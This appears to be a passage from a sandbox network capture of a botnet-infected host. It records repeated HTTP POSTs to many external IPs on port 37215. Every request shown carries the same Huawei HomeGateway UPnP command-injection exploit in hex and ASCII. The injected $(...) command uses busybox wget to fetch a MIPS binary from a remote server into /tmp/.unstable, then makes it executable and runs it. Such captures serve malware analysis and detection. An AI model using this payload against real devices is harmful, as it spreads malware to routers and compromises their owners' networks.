Dec 3, 2024 21:47:25.413130045 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.13	38252	197.217.135.4	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.413626909 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.13	52824	41.70.169.235	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.414119959 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.13	51350	156.120.218.74	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.414622068 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.13	53170	197.127.150.255	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.415110111 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.13	53918	156.115.33.143	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.415919065 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.13	51276	197.49.143.54	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.416405916 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.13	35676	197.66.11.86	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.416910887 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.13	42048	197.140.239.213	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.417356968 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.13	49042	156.81.165.124	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.417850971 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.13	53288	197.197.99.27	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:25.418329000 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 